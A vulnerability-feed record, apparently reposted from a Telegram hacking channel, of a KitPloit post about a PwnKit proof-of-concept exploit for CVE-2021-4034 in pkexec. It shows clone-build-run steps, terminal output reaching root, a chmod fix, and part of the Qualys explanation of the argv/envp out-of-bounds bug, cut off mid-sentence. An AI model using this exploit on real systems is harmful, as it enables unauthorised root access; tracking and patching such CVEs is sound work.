{"uuid": "2b650435-9da4-4024-969a-194e93ec84b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-4034", "type": "seen", "source": "https://t.me/hacking_Attack/45332", "content": "KitPloit - PenTest Tools!\nPwnKit-Exploit - Proof Of Concept (PoC) CVE-2021-4034\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEhqNMnJx-NhcmnKUWBmyvQw9M1B_gCgM9UigjRhwqQBqyfluJaic1E0HT09Ccvngjr_ZBqZfMDRz20gR3QJnYvqmoZmuws7U7fWT5o3_ixiRZns-f95og1FP57F0SlY7HDOMaCkHIZk8wVh-YGFQ2YOAWgjck6xrU4F4GrOXe4BRu349gHNanQkaWW1=w273-h400 https://blogger.googleusercontent.com/img/a/AVvXsEj2ywNzLgoT_wP9Dkc2AwHxBzcnWzbPVaejvjZCfApZJn7dRkwx3e1V67bGwd7PSxOOHg4eswo2qguiSU2NY1Ecbc-zeTv_lfKh8Eds20RoMNr_BNe3bXWwCJ_-zv0QLSy1P3Mkmg7TJZ33s9DEvFPEyVQsaHc4VhGfRw4tSfCqg3BvMxBsCSbyCfA2=w400-h200 Proof Of Concept (PoC) CVE-2021-4034 \n@c0br40x help to make this section in README!! Proof of Concepthttps://blogger.googleusercontent.com/img/a/AVvXsEgNX-HnmAk-61Qs5ZEX_MNxpsjz_fLKqQypNLjr_47YNbNpAcMWXudZohMJlaa4Kxxuz_Baeh7qGLg_AALEP6Xcc3vibaMj9JkCr6ga0qYU0agEXM5WiMqxBklZ3DVEJb7-DR-3NgW9M--UQ5sCYQKQfxgX-Bkkt1nyV3litenJfjDq9SM2VuTfev0T=w640-h522 debian@debian:~/PwnKit-Exploit$ make\ncc -Wall    exploit.c   -o exploit\ndebian@debian:~/PwnKit-Exploit$ whoami\ndebian\ndebian@debian:~/PwnKit-Exploit$ ./exploit\nCurrent User before execute exploit\nhacker@victim$whoami: debian\nExploit written by @luijait (0x6c75696a616974)\n[+] Enjoy your root if exploit was completed succesfully\nroot@debian:/home/debian/PwnKit-Exploit# whoami\nroot\nroot@debian:/home/debian/PwnKit-Exploit# FixCommand Use sudo chmod 0755 pkexecFix CVE 2021-4034 Installation & Usegit clone https://github.com/luijait/PwnKit-Exploitcd PwnKit-Exploitmake./exploitwhoamiCommand Utility make cleanClean build to test code modified ExplanationBased blog.qualys.com\n\nThe beginning of pkexec\u2019s main() function processes the command-line arguments (lines 534-568), and searches for the program to be executed, if its path is not absolute, in the directories of the PATH environment variable (lines 610-640): 435 main (int argc, char *argv[])\n436 {\n...\n534   for (n = 1; n < (guint) argc; n++)\n535     {\n...\n568     }\n...\n610   path = g_strdup (argv[n]);\n...\n629   if (path[0] != '/')\n630     {\n...\n632       s = g_find_program_in_path (path);\n...\n639       argv[n] = path = s;\n640     }unfortunately, if the number of command-line arguments argc is 0 \u2013 which means if the argument list argv that we pass to execve() is empty, i.e. {NULL} \u2013 then argv[0] is NULL. This is the argument list\u2019s terminator. Therefore:\n\nat line 534, the integer n is permanently set to 1;  at line 610, the pointer path is read out-of-bounds from argv[1];  at line 639, the pointer s is written out-of-bounds to argv[1].  But what exactly is read from and written to this out-of-bounds argv[1]?\n\nTo answer this question, we must digress briefly. When we execve() a new program, the kernel copies our argument, environment strings, and pointers (argv and envp) to the end of the new program\u2019s stack; for example: |---------+---------+-----+------------|---------+---------+-----+------------| \n| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] | \n|----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------| \nV         V                V           V         V                V \n\n\"program\" \"-option\"           NULL      \"value\" \"PATH=name\"          NULL Clearly, because the argv and envp pointers are contiguous in memory, if argc is 0, then the out-of-bounds argv[1] is actually envp[0], the pointer to our first environment variable, \u201cvalue\u201d. Consequently:\n\nAt line 610, the path of the program to be executed is read out-of-bounds from argv[1] (i.e. envp[0]), and points to \u201cvalue\u201d;  At line 632, this path \u201cvalue\u201d is passed to g_find_program_in_path()  (because \u201cvalue\u201d does not start with a slash, at line 629);  Then, g_find_pr[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:53.097581Z"}